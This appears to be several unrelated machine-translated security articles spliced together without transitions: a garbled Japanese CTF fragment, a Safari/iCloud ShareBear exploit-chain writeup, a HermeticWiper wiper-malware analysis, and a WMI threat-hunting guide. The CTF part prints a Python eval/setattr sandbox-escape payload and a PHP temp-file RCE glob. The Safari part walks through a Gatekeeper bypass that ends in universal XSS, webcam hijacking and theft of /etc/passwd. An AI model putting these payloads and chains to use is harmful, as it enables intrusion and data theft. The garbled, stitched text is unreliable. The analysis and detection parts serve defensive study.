setattr(__ Import __( 'sys')。モジュール['__ main __']、 '__ file __'、 '/flag')は、setattr(オブジェクト、名前、値)メソッドを使用してオブジェクトのプロパティ値を変更します。

オブジェクト - オブジェクト。名前- 文字列、オブジェクト属性。値- 属性値。

Q:__import __( 'sys')を使用してみませんか。モジュール['__ main __'] .__ dict__、__file__は明らかにここにありますか?

A:Setattr関数の最初の値はオブジェクトであるため、__dict__はオブジェクトではなく__main__の属性です。

ペイロードを統合します:

app .__ init __.__ Globals __.__ builtins __。eval( 'setattr(__ import __(' sys ')。モジュール[' __ main __ ']、' __ file __ '、'/flag '))システム内のフラグファイルをお読みください。プロジェクトはログインボックスで、登録オプションimage-20240817120527144

敏感なディレクトリをスキャン:/admin.html/upload.php/admin.htmlルートにはファイルアップロード機能とコマンド入力ボックスimage-20240817214352183があります

無効な文字は、アップロード時に常に表示されます。いくつかのパケットの試行後、アップロードされたコマンド文字列が制限されているはずであり、1つの文字のフィルタリングである可能性があります。質問WAFコマンドパートファズに1つの文字を実行します。 /、そして一目で一時ファイルを実行します。 /t*/*

英数字RCE(CTFSHOW Webはじめに56)への参照_RCE-CSDNブログすべての文字と数字をろ過

t、 /、image-20240817214855339のみが許可されています

同時に、ファイル部品をアップロードすることはできません。私はおそらく、ホワイトリストのキャラクター、ctfshow永遠の神を見る手がかりがあるでしょう! PHPでは、ファイルが強制的にアップロードされると、ファイルは一時ファイル /TMP /PHPに存在します

ShareBear應用程序至此,我們已經確定了一個可以由Safari自動啟動的應用程序,但是我們還不知道如何正確地打開它。幸運的是,這很簡單。

研究表明,iCloud文件共享可以生成一個公共共享鏈接。

9.webp.jpg

創建公共iCloud共享鏈接

這些共享鏈接看起來如下所示:https://www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem。

只需簡單地將“https”替換為“icloud-sharing”,就可以讓Safari自動打開ShareBear,並將該文件作為參數。

10.png

evil.html

太好了,那麼ShareBear 現在做了什麼?一些快速測試顯示了這種行為:

11.webp.jpg

ShareBear行為流程圖

這種行為存在一個微妙但卻極具影響力的設計漏洞。讓我們研究一下如果用戶之前沒有打開過這個文件會發生什麼,用戶將看到一個類似於下面的提示。

12.webp.jpg

ShareBear打開提示

這個無關緊要的小提示符,默認值為“Open”,看起來非常簡單。如果用戶同意,應該會打開圖片example.png。但實際上,他們達成的協議遠不止這些。

一旦用戶點擊“Open”,文件就會被下載到受害者的設備/Users/user /Library/Mobile Documents/com~apple~CloudDocs,然後通過Launch Services 自動打開。這樣用戶就再也看不到這個提示符了。此後,ShareBear以及Safari 中的任何網站將能夠自動啟動該文件。這個協議真正有漏洞的部分是,任何具有寫入訪問權限的人都可以更改文件。例如,在你同意打開文件後,文件的所有者可以更改整個字節內容和文件擴展名。然後ShareBear將下載並更新受害者設備上的文件,而無需任何用戶交互或通知。

實際上,受害者已經允許攻擊者在他們的設備上植入多個文件,並允許攻擊者在任何時候遠程啟動它。 PNG文件是一個可執行的二進製文件,只要我想,它就會自動啟動。

根據我反饋的報告,蘋果在macOS Monterey 12.0.1中修復了這一行為,但沒有發布CVE,因為這頂多是一個設計漏洞。

躲避Iframe沙盒檢測在對icloud-sharing://方案進行模糊測試時,我偶然發現了一個與UXSS 搜索無關的有趣漏洞。在執行上述行為之前,ShareBear 似乎會檢查“/iclouddrive/*”的URL 路徑。如果路徑恰好是“/photos/*”,那麼ShareBear 會犯一個非常愚蠢的錯誤。它會告訴Safari 打開一個指向iCloud Web 應用程序的新選項卡,但它不會驗證域名是否真的是iCloud Web 應用程序。

13.webp.jpg

在正常操作中,用戶只看到網站“https://photos.icloud.com”。然而,由於該域名從未經過驗證,我們可以欺騙ShareBear 指示Safari 打開任何網站的新標籤頁。

這種行為的影響可能並不明顯。因為它似乎與通常調用window.open('https://example.com')沒有什麼不同。然而,有些情況下,網站是不允許這樣做的。一個示例是是否啟用了彈出窗口阻止程序。另一個更狡猾的例子是當你的網站位於沙盒iframe 中時。

當你想在你的網站上嵌入不可信的第三方內容時,通常會使用sandbox iframe屬性。例如,你可能想在你的博客上顯示一個廣告橫幅,但你不希望這個廣告能夠運行JavaScript。

沙盒iframe的一個重要規則是,從該iframe打開的新窗口應該繼承與iframe本身相同的限制。否則,逃離沙盒就像打開一個彈出窗口一樣簡單。

這個漏洞會誘使Safari 打開一個沒有任何沙盒限制的新標籤!

14.png

網站被困在沙盒iframe 中

所以ShareBear忽略了驗證域,這給了我們一個簡單的彈出框攔截程序和一個iframe沙盒逃逸。 (在未分配CVE 的情況下在Safari 15.2 中修復)在BugPoC上的演示視頻鏈接為https://bugpoc.com/poc#bp-S4HH6YcO PoC ID: bp-S4HH6YcO,密碼:loVEDsquId01。請注意,這個演示只適用於Safari 15.2之前版本的macOS Monterey 12.1。

現在返回Camera/UXSS 搜索話題。

Quarantine 和Gatekeeper我們的網站可以提示用戶打開一個共享的PNG文件。如果用戶同意,我們可以在將來的任何時候自動啟動這個文件,即使我們改變了文件的內容和擴展名。

15.webp.jpg

然後,攻擊者可以在自己的設備上修改文件,而ShareBear將負責在受害者的設備上更新它。

攻擊者的設備和受害者的設備上的操作過程:

16.png

改變polymorphic文件

然後,攻擊者的網站可以使用與顯示原始提示符相同的icloud-sharing://URL自動啟動這個新更新的文件。

17.webp.jpg

這似乎非常接近我們強制下載和打開一個惡意webarchive文件的目標,我們可以將puppy.png的內容替換成一個webarchival文件,並將其重命名為“evil.webarchive”,不幸的是,討厭的macOS Gatekeeper不允許這樣做。

18.webp.jpg

Gatekeeper預防策略

看來ShareBear 正確地為下載的文件提供了'com.apple.quarantine' 屬性,並且根據Apple 的說法,“Gatekeeper 阻止了被隔離的可執行文件和其他類似文件(shell 腳本、webarchive等)打開或執行。”要深入了解macOS 如何處理此屬性,以及Gatekeeper 如何執行代碼簽名,請查看本文。

就滲透測試而言,此操作系統保護引入了兩大限制:

1.我們不能運行自己的應用程序;

2.我們不能直接打開webarchive文件;

側邊欄——雖然我們不能運行自己的應用程序,但啟動現有的、經過批准的應用程序是微不足道的。只需使用fileloc指向本地應用程序(這種技術很常見)。這種攻擊有時被稱為“任意文件執行”,並且經常被誤解,因為它看起來很可怕。

20.png

指向macOS 計算器的fileloc

21.png

使用icloud-sharing://方案啟動fileloc

雖然這種攻擊可能看起來很可怕,但啟動一個已經批准的應用程序不會有太大的影響。讓我們專注於打開webarchive。

快捷鍵上述打開本地應用程序的技術讓人想起老式的符號鏈接攻擊,它基本上只是使用“快捷方式”來欺騙軟件打開它不期望的東西。

多年來,許多不同的操作系統和應用程序在快捷方式方面進行了重新設計。現在,術語“快捷方式”可以指一個Unix符號鏈接、一個macOS別名、一個windows的鏈接文件、一個Safari的webloc、一個Edge的書籤等。

我希望我可以使用這個技術來繞過Gatekeeper,打開一個webarchive文件。這個想法對我來說似乎很有希望,因為我想要打開的實際應用程序是Safari(一個已存在的、已批准的應用程序)。 Gatekeeper 對我啟動Safari 沒有問題,當我嘗試打開任何以“.webarchive”結尾的文件時,它只會感到不安。

因此,我需要找到一個啟動Safari的快捷方式文件類型,然後告訴Safari打開一個不同的文件。經過反複試驗,我發現了古老的Windows URL 文件!

22.png

evil.url 文件指向本地webarchive

啟動evil.url 成功打開Safari 並指示它加載webarchive 文件而無需請求Gatekeeper 許可! (CVE-2021-30861) 只有一個小漏洞,我需要知道webarchive 文件的完整路徑。假設webarchive 是通過ShareBear 下載的,它將存在於/Users/user /Library/Mobile Documents/com~apple~CloudDocs中,其中包括受害者的用戶名(不是一個非常可擴展的攻擊)。

幸運的是,有一個巧妙的技巧可以規避這個要求——我們可以使用DMG 文件將webarchive 文件掛載到已知的/Volumes/目錄中。

23.png

使用icloud-sharing://方案掛載dmg

現在我們確切地知道webarchive 文件所在的位置。這意味著下面的evil.url 文件每次都可以使用。

24.png

evil.url 文件指向一個已知位置的本地webarchive

25.png

使用icloud-sharing://方案啟動evil.url 以打開evil.webarchive

就像這樣,我們在任何我們想要的地方執行JavaScript 代碼。上面的屏幕錄像在https://google.com 中註入了“alert(origin)”。

讓我們將其組合成最後一次攻擊。

完整的攻擊鏈使用ShareBear為我們下載和打開一個webarchive文件,可以分為3個步驟:

1.誘騙受害者給予我們植入polymorphic文件的權限。

26.webp.jpg

2.把puppies.png 變成evil.dmg 並啟動它。

27.webp.jpg

3.將evil.dmg 變成evil.url 並啟動它。

28.webp.jpg

當然把文件A轉換成三個不同的有效載荷需要一些服務器端協調。另一種(不那麼有趣的)實現這種攻擊的方法是讓受害者同意打開一個已經有所有文件的共享文件夾。

29.png

通過查看iCloud 共享文件夾對UXSS 進行屏幕錄製

在上面的屏幕錄製中,受害者同意查看一個包含一些PNG圖像的文件夾。這個文件夾還有兩個隱藏文件:evil。 dmg .evil.url。

該網站使用icloud-sharing://URL方案自動啟動兩個隱藏文件,成功繞過Gatekeeper,並打開一個webarchive文件。請注意,在受害者同意查看共享文件夾後,不會向他顯示額外的提示。上面的示例webarchive 文件將代碼注入https://www.icloud.com 以竊取受害者的iOS 攝像頭記錄。

當然,這只是一個例子,這種UXSS攻擊允許攻擊者將任意代碼注入到任意源。在劫持https://zoom.us 或https://facetime.apple.com 等受信任的視頻聊天網站時,注入JavaScript 代碼以打開網絡攝像頭同樣容易。

30.png

UXSS 劫持Zoom 網站以打開網絡攝像頭

漏洞修復那麼蘋果是如何解決這些漏洞的呢?

第一個修復是讓ShareBear只顯示文件而不是啟動它們(在macOS Monterey 12.0.1中修復,沒有分配CVE)。

第二個修復是阻止WebKit打開任何被隔離的文件(在Safari 15中修復為CVE-2021-30861)。

總結在我發現evil.url 技巧之前,我實際上找到了一種不同的方法來欺騙Launch Services (間接)打開一個webarchive 文件。我在Safari 的最新公開版本(v14.1.1) 中發現了這個漏洞。在向Apple 報告此漏洞幾天后,他們告訴我beta 版Safari v15 沒有這個漏洞。似乎不相關的代碼重構使v15 無法滲透。

通過啟動服務打開Safari的明顯方法是使用本地html文件。一旦打開,這個頁面將有file://URI 方案。這樣,JavaScript被允許導航到其他file://URI 。

31.png

本地HTML文件導航到另一個本地文件

那麼,如果我們要導航到的文件是一個webarchive,會發生什麼呢?此時,Safari只是掛著。

32.png

Safari拒絕出現webarchive的屏幕記錄

當目標文件是webarchiving時,這種掛起發生在我能想到的所有類型的頁面導航(anchor href, iframe src, meta redirect等)。

然後我發現了這個漏洞:

33.png

本地HTML文件導航到本地webarchive文件

當file://URL 中有主機值時,Safari 忘記執行webarchive 檢查!有趣的是,這個漏洞似乎是在Apple 修復我的舊file://漏洞(CVE-2020-3885) 時引入的。

當蘋果公司通知我Safari Beta v15不存在漏洞時,我重新檢查了一下,還是發現了evil.url。

在我完成UXSS 鏈後,還有一件事困擾著我,它不能用來竊取本地文件。當然,UXSS 可用於通過將代碼注入https://dropbox.com 或https://drive.google.com 來間接竊取文件,但無法獲取受害者硬盤上的文件。

我前面提到的出色的Blackhat Presentation啟發了我去尋找其他系統應用程序,它們可以在比Safari更優越的環境中運行我的JavaScript。在深入研究了一段時間後,我偶然發現了一個模糊的文件類型,它可以識別我的macOS腳本編輯器,名為“腳本添加”(.osax)。這些文件(或者更確切地說是“捆綁包”)包含一個嵌套的基於xml 的文件,稱為“Dictionary Document”(.sdef)。這個字典文檔用於顯示AppleScript應用程序使用的、人類可讀的、開發人員定義的術語。

重要的發現是允許這些基於xml 的文件包含HTML。事實證明,HTML呈現器也有一個JavaScript引擎,而且這個引擎不強制執行SOP! (在macOS Big Sur 11.6.2 中修復為CVE-2021-30975)這意味著竊取/etc/passwd 很容易。

34.png

evil.sdef 顯示/etc/passwd 的內容

幸運的是,Gatekeeper 不介意我們打開腳本添加文件。所以我們只需將evil.sdef 打包到evil.osax 中,然後通過ShareBear 將其發送給受害者。然後我們的icloud-sharing://URI 可以在腳本編輯器中自動啟動它。

35.png

ShareBear 打開evil.osax 竊取/etc/passwd 的屏幕錄像

所以現在除了UXSS,這個攻擊還可以繞過沙盒限制和竊取本地文件!

最後的話這個項目是對一個應用程序中的設計缺陷如何使其他各種不相關的漏洞變得更加危險的有趣探索。這也是一個很好的例子,說明即使macOS啟用了Gatekeeper,攻擊者仍然可以通過欺騙已批准的應用程序進行惡意操作來實現許多惡意操作。

這是本系列文章中的下篇,我們將繼續與讀者一道,深入分析數據擦除型的惡意軟件HermeticWiper。

(接上文)

禁用影子副本刪除影子副本是勒索軟件的一個常見行為。它應該是為了破壞系統備份,並使恢復工作陷入癱瘓。就本例來說,我們可以看到該樣本禁用了影子副本服務。

1.png

影子副本被禁用

數據碎片化在我們的分析過程中,我們注意到惡意軟件會將磁盤上的文件碎片化(與碎片整理相反)。

在運行碎片化例程之前,它會更改與資源管理器相關的一些設置:

1.png

更改註冊表,使發現NTFS操作更加困難

這可能是為了隱藏關於文件狀態的信息,使得它們更加難以被發現:

下面的函數顯示了碎片化例程的執行過程:

1.png

用於實現數據碎片化的包裝器函數

其中,標準windows目錄被排除在外:

1.png

將被跳過的文件夾列表

這樣做既可以節省時間(不破壞標准文件),又可以避免影響系統穩定性。

文件碎片化過程如下所示:

1.png

碎片詳細信息(1)

1.png

碎片詳細信息(2)

數據碎片化算法的實現,是通過將不同的IOCTL_CODES(FSCTL)用作FSCTL_GET_RETRIEVAL_POINTERS和FSCTL_GET_MOVE_FILES來實現的。該代碼看起來與碎片整理代碼非常相似。但就這裡來說,修改的目的是為了實現碎片化,即將文件塊分割為碎片,並將其移動到磁盤中的空閒簇中。

數據收集在這些準備工作完成之後,該惡意軟件就會進入執行的第二個階段:數據收集。在各種勒索軟件案例中,我們經常會看到這種情況:在加密之前,惡意軟件會遍歷目錄,並列出要攻擊的文件清單。該惡意軟件的情況與此類似,但更有趣的是,因為該軟件在進行目錄遍歷的時候,使用的不是windows API,而是NTFS文件系統,來讀取各種結構體並手動解析它們。為此,該惡意軟件需要通過標準的Windows設備來發送IOCTL(新安裝的驅動程序尚未使用)。

數據存儲上述解析過程的結果被存儲在我們設法重建的自定義結構體中,其定義如下所示:

structelemStr

{

elemStr*fLink;

elemStr*bLink;

chunkStr*chunkPtr;

DWORDdiskNumber;

BYTE*randomBufToWrite;

DWORDsizeBuffer;

};

structchunkStr

{

chunkStr*fLink;

chunkStr*bLink;

LARGE_INTEGERoffset;

QWORDchunk_size;

};就像您看到的那樣,它們都是鍊錶。

第一個elemStr定義了將被覆蓋的元素。之後,代碼會檢索其大小,並生成專用於覆蓋它的隨機緩衝區:

1.png

生成的隨機數據

在這裡,“chunk”表示要覆蓋的物理地址的連續塊。

因此,一般來說,惡意軟件將在後面的兩個步驟中用到這些結構體。第一步是收集所有數據。第二步是使用前面創建的結構體來擦除數據。

收集相關元素正如之前所看到的,這些結構體將被發送給執行數據破壞的函數。以下是以後需要銷毀的元素。

惡意軟件自身的可執行文件和植入的驅動程序我們已經看到,攻擊者對清理自己的踪跡很感興趣。為了達到這個目的,他們會從磁盤上刪除自己的可執行文件,即使二進製文件本身一直在運行並在內存中。正如HermeticWiper在文件系統中執行的任何其他任務一樣,刪除自己的二進製文件的方式與其他惡意軟件略有不同。攻擊者首先設法找到二進製文件在原始文件中的偏移量,最後,他們將覆蓋這個特定的偏移量。

1.png

HermeticWiper文件將被銷毀,同時被銷毀的還有其他元素

被植入的文件(壓縮和未壓縮的驅動程序)將被添加到同一結構體中,該動作是在在安裝之後完成的。

引導扇區攻擊者的目的之一,就是使設備無法加載操作系統。接下來的第一步,就是枚舉所有物理設備以及分區。為此,他們使用循環語句來嘗試打開harddisk[num]的句柄,其中num將從0迭代到100:

1.png

這個循環語句展示了攻擊者是如何從HardDisk0迭代到HardDisk100的

然後,所有這些信息都被存儲到一個elemStr結構體中,該結構體包含作為磁盤號的數據。在本例中,chunkElement將描述引導扇區的原始地址。在這裡,需要特別關註一下C:\System Volume Information。另外,攻擊者將在boot_sections結構體中添加以下文件夾內容:

1.png

對parse_NTFS_AND_execute_callback函數的調用

根據Microsoft的說法,“Mount Manager維護每個NTFS卷上的Mount Manager遠程數據庫,其中Mount Manager記錄了為該卷定義的任何掛載點。數據庫文件駐留在“NTFS卷上的目錄系統卷信息”(詳見“Windows Internals, 6th edition”)中。所以,這個技術也是為了提高破壞能力而創造的。最後,利用EasyUS驅動程序,所有這些收集到的偏移量都將像惡意二進製文件一樣被覆蓋掉。

保留扇區與MFT和以前一樣,惡意軟件將再次對物理驅動器ID進行暴力破解,以找到有效的驅動器ID。然後,它會使用IOCTL_DISK_GET_DRIVE_LAYOUT_EX檢索有關驅動器上所有主分區的信息,並從相應分區讀取第一個扇區。接著,通過ioctl_disk_get_drive_geometry_ex來獲取讀取磁盤的第一個扇區所需的其他信息。

1.png

檢索每個磁盤的相關信息

一旦讀取了分區的第一個扇區,該軟件就會在該扇區上調用惡意軟件傳遞的回調函數。

1.png

之後,它會根據文件系統的類型進行相應的處理:如果是FAT類型,那麼它會擦除所有保留扇區,而FAT文件系統中的引導記錄扇區是保留扇區的一部分;如果是NTFS類型,該惡意軟件就會清除磁盤上存在的MFT和MFTMirror(備份MFT),其目的是使數據恢復更加困難。

1.png

用於處理FAT文件系統的例程

1.png

用於處理NTFS文件系統的例程

NTFS卷上的每個文件都是由名為主文件表(MFT)的特殊文件中的記錄來表示的。在MFT被破壞的情況下,則可以通過讀取MFT鏡像來恢復原始MFT,其第一記錄與MFT的第一記錄相同。 MFT表為文件系統提供了相應的索引,並提供了文件駐留位置等信息。如果沒有MFT,系統將無法知道有哪些文件夾和文件,以及修改日期等信息。

Bitmap和日誌文件為了阻止數據被恢復,惡意軟件還經常會覆蓋所有邏輯驅動器上的Bitmap和日誌文件。就本例來說,邏輯驅動器是通過GetLogicalDriveStringsW進行檢索的。另外,這些結構體在進行數據恢復和取證調查時也很重要。實際上,$bitmap保存了空閒簇和已用簇的相關信息,而$logfile則保存了文件系統中發生的事務日誌。

1.png

此外,用戶文件也會受到數據破壞的影響。我們發現該惡意軟件還會覆蓋C:/Documents and settings文件夾中的所有內容。在現代Windows系統中,該文件夾將指向C:/Users。這個文件夾存放的是用戶的數據文件夾(例如,我的文檔或桌面)。在這個過程中,有些文件會被跳過,比如APPDATA下的文件,但一般來說,這些文件夾下的所有文件都會被覆蓋。

收集需要擦除的簇數據收集的最後一步,就是獲取清除磁盤上所有已佔用的簇所需的信息。為了獲取這些信息,惡意軟件使用了FSCTL_GET_VOLUME_BITMAP IOCTL來獲取磁盤上所有已佔用和空閒簇的相關信息。該惡意軟件會遍歷所有的邏輯磁盤,並使用FSCTL_GET_VOLUME_BITMAP檢索bitmap,而bitmap中的每一位表示一個簇,值1表示該簇已被佔用,0表示該簇處於空閒狀態。對於通過IOCTL檢索到的bitmap,該惡意軟件將對其進行逐位遍歷,然後,將所有已經佔用的簇添加到前文描述的擦除結構體中。這裡要注意的一點是,該惡意軟件匯集了所有相鄰的簇,而這些相鄰的簇是由單個chunk結構表示的——這一點與之前的表示方法不同,那時用一個chunk結構表示單個簇。

1.png

最後,所有已佔用的簇將被收集到一個elemStr類型的結構體中,以便銷毀。

這一切是如何進行的?到目前為止,我們已經知道一些NTFS屬性(如屬性、索引等)是用來收集數據的,之後這些數據將被銷毀。接下來,我們將展示一個例子,說明攻擊者是如何實現這一功能的,並展示其複雜程度。

為此,我們將以負責收集Windows日誌文件的代碼為例進行介紹:

1.png

負責收集Windows日誌文件的代碼

在調用上述代碼之後,會填充一些數據結構,其中包含有關物理磁盤屬性和文件夾名稱本身的數據。我們對NTFS文件系統的第一次引用是在檢索HANDLE的過程中發現的。這個文件夾是作為NTFS流打開的:

1.png

用於默認目錄流的HANDLE

其中,第一個調用將解析$INDEX_ROOT屬性,其功能與第二個調用相對類似,也更簡單,在第二個調用中使用了$INDEX_ALLOCATION屬性。關於這些NTFS屬性的其他信息可以在這裡找到。我們將假設元素列表足夠長,比如$INDEX_ALLOCATION,我們將深入考察這個調用:

1.png

相關的回調函數

為了更好地理解整個過程,我們需要記住發送的參數。其中,前面的兩個參數(nFileIndexLow和nFileIndexHigh)用於調用函數FSCTL_GET_NTFS_FILE_RECORD,它將檢索到一條NTFS記錄。在進行一些檢查之後(例如,檢查magic值),我們將調用一個名為callback_when_attribute_is_found的函數。注意,發送給這個函數的第一個參數將是之前發送的值$INDEX_ALLOCATION(0x20)。

1.png

調用callback_when_attribute_is_found函數

這個函數將遍歷作為記錄一部分的所有NTFS屬性。為此,代碼必須找到第一個屬性的偏移量。這個偏移量的長度只有2個字,因為這個偏移是相對於結構體而言的。 NTFS記錄頭部的佈局如下所示:

1.png

NTFS記錄頭部的佈局

一個NTFS文件記錄的結構如下所示:

記錄頭部

屬性

屬性

屬性NTFS記錄的佈局

如果我們還記得$INDEX_ALLOCATION(0x20),事情就很容易理解了。這些屬性將以一個特定的TypeCode開始,就像$INDEX_ALLOCATION那樣。因此,如果其中一個屬性與所需的選定類型相匹配,第一個回調函數將被觸發。

1.png

用於匹配屬性和回調函數的代碼

如果沒有匹配的TypeCode,但發現了$ATTRIBUTE_LIST,則將意味著存在更多的屬性,但這些屬性不適合$MFT表。在這種罕見的情況下,該惡意軟件將繼續處理這些額外的屬性,並將遞歸地調用第一個函數。

讓我們看看這個回調函數會做些什麼。記住,這個回調函數,在我們的案例中是indexAllocation_Callback_CollectAllfiles。第一步,是恢復這個屬性所指向的流。由於$INDEX_ALLOCATION是一個用於目錄的屬性,所以這個流可以是一個索引數組(塊索引):

1.png

使用原始磁盤偏移量恢復的塊索引數組

由於這是一個索引數組,這些索引將指向某個東西。正如你所想像的,這個東西就是NTFS記錄。在原始磁盤中,這些類型的索引看起來如下所示:

1.png

在原始磁盤鏡像文件中發現的索引塊的例子

由於索引指向記錄,因此,所有這些記錄將被遞歸地發送到初始函數。但是這一次的回調函數將是不同的,類型碼也是不同的:

1.png

調用$DATA回調函數

所以這一次,每條發送的記錄都會有不同的表現:將尋找$DATA屬性,而不是$INDEX_ALLOCATION($DATA包含文件數據)。另外,執行的回調函數將是不同的(現在命名為dataExecuting)。通過使用第一次調用中發送的磁盤屬性,結合從索引中收集的信息,這個回調函數將定位文件在磁盤中的確切位置。最後,這些文件就像我們在本報告中總結的所有文件一樣,被作為成員加入到elemStr*結構體中。如上所述,該結構體中包含的偏移量處的內容,將在最後的步驟中被惡意軟件所覆蓋。

1.png

調用函數,將文件的偏移量添加到elemStr類型的結構體中,以便以後銷毀數據

覆蓋數據最後,在收集完所有數據後,惡意軟件就開始執行覆蓋操作。為此,它會將elemStr結構體傳遞給該函數,以處理鍊錶上的所有元素:

1.png

to_overwrite_collected_sections函數

執行覆蓋操作的函數首先通過前面安裝的驅動程序來獲得對扇區的寫訪問權。然後,它會打開設備,通過偏移量遍歷收集的所有chunk,並使用WriteFile來填充先前準備好的隨機數據。

1.png

數據銷毀的代碼

下面的示例顯示了我們實驗中的一個日誌片段,當我們在惡意軟件執行期間轉儲特定結構體的內容時:首先收集數據,然後使用填充了隨機值的結構體來清除磁盤上的扇區:

1.png

小結如你所見,通過利用合法且無漏洞的簽名代碼,攻擊者就能夠繞過許多Windows安全機制。這會帶來非常嚴重的問題,因為出於安全考慮,用戶應用程序不應該在內核空間擁有這種程度的控制權限。

另外,我們想說明的是,這種情況下的數據恢復是非常困難的。攻擊者首先將文件碎片化,並將其散佈到磁盤各處,最後,用隨機數據覆蓋所有這些碎片。即使沒有最後一步(不分青紅皂白地向磁盤填充垃圾數據),只是進行碎片化並擦除所需結構體(如$MFT)的話,要想恢復如初也幾乎是不可能的。

需要注意的是,該惡意軟件為了隱藏自身的踪跡,還會設法破壞$LogFile和Windows事件等相關文件。

WMI (Windows Management Instrumentation)是微軟對基於web的企業管理(WBEM)和來自分佈式管理任務組(DMTF)的公共信息模型(CIM)標準的實現。這允許管理員以統一的方式管理一組系統,允許他們獲取關於系統的信息、系統當前狀態並執行操作。正因為如此,許多攻擊者利用它進行枚舉、橫向移動和持久性攻擊。防御者和安全供應商也充分利用了它,事實上,如果沒有它,大多數漏洞掃描程序將無法完成他們在windows主機上所做的很多事情。

研究人員起初編寫了PSGumshoe PowerShell模塊,以幫助執行威脅搜索和事件響應工作。

執行方法在多年前的一個項目中,我了解到可以通過啟用Other Object Access審核設置然後在每個WMI 命名空間上跟踪類方法的WMI 執行甚至查詢。一個熟練的Windows管理員能夠跟踪我的查詢和方法執行,並通過使用一些經過優化的攝取過濾器來包含我的操作,這些過濾器會對任何不符合他的環境中的系統正常行為的操作發出警報。

配置GPO時,請在“計算機配置- Windows設置-安全設置-高級審核策略配置-審核策略-對象訪問”下進行設置

1.jpg

審核設置通過GPO 設置和推送審核設置後,需要登錄腳本或手動過程來設置適當的審核設置以跟踪給定命名空間上的操作。需要手動執行此操作:

打開WMI控制MMC或計算機管理MMC,並打開WMI控制的屬性。

選擇Security選項卡,選擇要應用adit設置的名稱空間,然後單擊Security。

2.jpg

在下一個窗口中,點擊Advanced。

3.jpg

在命名空間的高級安全設置中,我們執行以下操作:

1.點擊Auditing選項卡;

2.點擊Add;

4.jpg

在“Audit Entry ”窗口中,執行以下操作:

1.選擇Principal將應用於的對象,我的建議是Everyone或Authenticated Users;

2.在Type中選擇ALL,因為我們想要成功和失敗事件。

3.在高級權限中,我建議從Execute Method開始,以檢測類方法的後期移動和Full Write的情況下,惡意WMI提供程序創建了一個類或永久事件組件創建在根/訂閱名稱空間之外。也有助於檢測作為C2頻道http://2014.hackitoergosum.org/slides/day1_WMI_Shell_Andrei_Dumitrescu.pdf的WMI

顯示的設置不包括查詢,沒有在將事件發送到SIEM 之前驗證和過濾事件的過程和能力,這在生產環境中會太嘈雜。

5.jpg

一旦應用了設置,任何嘗試如下所示,其中本地Win32_Process 類Create() 方法用於使用WMI 創建進程以中斷父子關係將被記錄。

6.png

當我們檢查Security 中的日誌時,我們將看到ID 為4662 的事件,其中ObjectServer 將是WMI。該事件將包括事件發生在什麼命名空間中以及在什麼用戶環境中。在AdditinalInformation 字段下,我們將查看它是本地的還是遠程的以及被調用的方法。

7.jpg

本地方法執行當從遠程系統對主機執行方法時,如下例所示,日誌將顯示該方法是遠程執行的。

8.png

我們將在AdditionalInfo 下看到方法執行是Remote Execute。

9.jpg

遠程方法執行在PSGumshoe 中,可以使用Get-EventWmiObjectAccess 函數來幫助查找這種類型的IOC。

10.png

從幫助信息中可以看到,該函數允許通過某些字段過濾事件,並且可以傳遞一個或多個EVTX文件,因此我們可以遠程或本地執行該函數。

在下面的例子中,我們正在查看一個從系統中提取的EVTX文件,並且我們正在過濾方法的本地執行。

11.png

通過管道傳遞多個EVTX 文件的示例。

12.png

WMI 操作錯誤事件在Microsoft-WMI-Arctivity/Operational 日誌中,Windows 默認記錄所有與WMI 相關的操作錯誤,事件ID 為58585。在Windows 的日常操作中,也取決於操作系統上安裝的軟件,錯誤的數量很高。如果SIEM 解決方案允許在轉發日誌之前進行過濾,這將有助於提高所發送事件的信噪比。在下圖中,我們可以看到在我的實驗室VM 中,錯誤數量很高。

13.jpg

PSGumshoe 提供Get-EventWmiOperationalError 函數來搜索和過濾生成的錯誤日誌。攻擊者可能會犯錯誤或根本無權執行生成要記錄的錯誤的操作。該事件將包括計算機和進程的PID,該進程不僅在本地生成事件,而且還為遠程操作生成事件。

就像其他WMI 函數一樣,該函數可以在另一台計算機上遠程運行,在本地運行,也可以對一個或多個EVTX 文件運行。

14.png

我們可以通過ClientMachine 分組查詢遠程主機並查看是否有來自其他主機的事件。在這個例子中,我們可以看到SDCL1 有2 個操作錯誤。

15.png

我們可以查詢主機,以便僅匹配可疑ClientMachine 的事件。

16.png

我們可以根據Resultcode進行分組,結果代碼是錯誤號,我們可以使用Microsoft文檔中的錯誤常量引用來識別任何感興趣的內容。

17.png

WMI提供程序加載用於持久性的WMI 提供程序是一種古老但未廣泛使用的技術,攻擊者在系統上安裝WMI 提供程序,當與它提供的一個或多個類交互時,它會加載它,提供編碼到其中的任何功能,作為SYSTEM 執行。 Casey Smith 創建並刪除了公開共享該技術的第一個公共POC,隨後Jared Atkinson 也公開了一個POC。

加載提供程序並在Microsoft-Windows-WMI-Activity/Operational 中創建事件ID 5857。重要的字段是ProvierPath 和TimeCreated,因為這可以關聯以構建可能訪問的類的時間線,因為僅當wmiiprvse.exe 需要類執行請求的操作時才會加載提供程序。

18.jpg

PsGumshoe提供了Get-EventWmiProviderStart函數來查詢這個事件。

18.1.png

18.2.png

這是一個查看每個提供程序已加載多少次的示例,這可能有助於識別正在使用的可疑提供程序。

19.png

WMI永久事件WMI永久事件從Windows 2000/XP時代開始就被濫用,永久事件由3 個部分組成:

Filter——WQL 查詢我們想要的事件;

Consumer——觸發過濾器時採取的行動;

Binding——向Consumer註冊過濾器。

每個組件都是一個類的實例,該類創建並存儲在CIM數據庫(objects.data)的根或根/訂閱名稱空間下。當Consumer被執行時,該操作在wmiprvse.exe的環境中以SYSTEM的形式運行。因為我們必須單獨構建每個部分並將其保存在CIM數據庫中,所以它們確實要花費更多的精力,但大多數攻擊者只是簡單地將這個過程自動化。它的局限性在於只有一小部分Consumer行為可用。

ActiveScriptEventConsumer——當一個事件被傳遞給它時,用任意的腳本語言執行一個預定義的腳本。該用戶可在Windows 2000及更高版本上使用。

CommandLineEventConsumer——當一個事件被傳遞給它時,在本地系統環境中啟動任意進程。該用戶可在Windows XP及更高版本上使用。

當事件發送到文本日誌文件時,將自定義字符串寫入到文本日誌文件中。該用戶可在Windows XP及以上版本上使用。

NTEventLogEventConsumer——當事件被發送到Windows NT事件日誌時,將特定的消息記錄到該事件日誌中。該用戶可在Windows XP及以上版本上使用。

SMTPEventConsumer——每次將事件發送給它時,使用SMTP發送一條電子郵件消息。該用戶可在Windows 2000及以上版本上使用。

對於Event Filter對象,將創建一個查詢來監視WMI CIM數據庫中的內部或外部事件,這些事件可以是任何類實例的創建、修改或刪除,或者訂閱將為某些操作生成事件的提供程序。

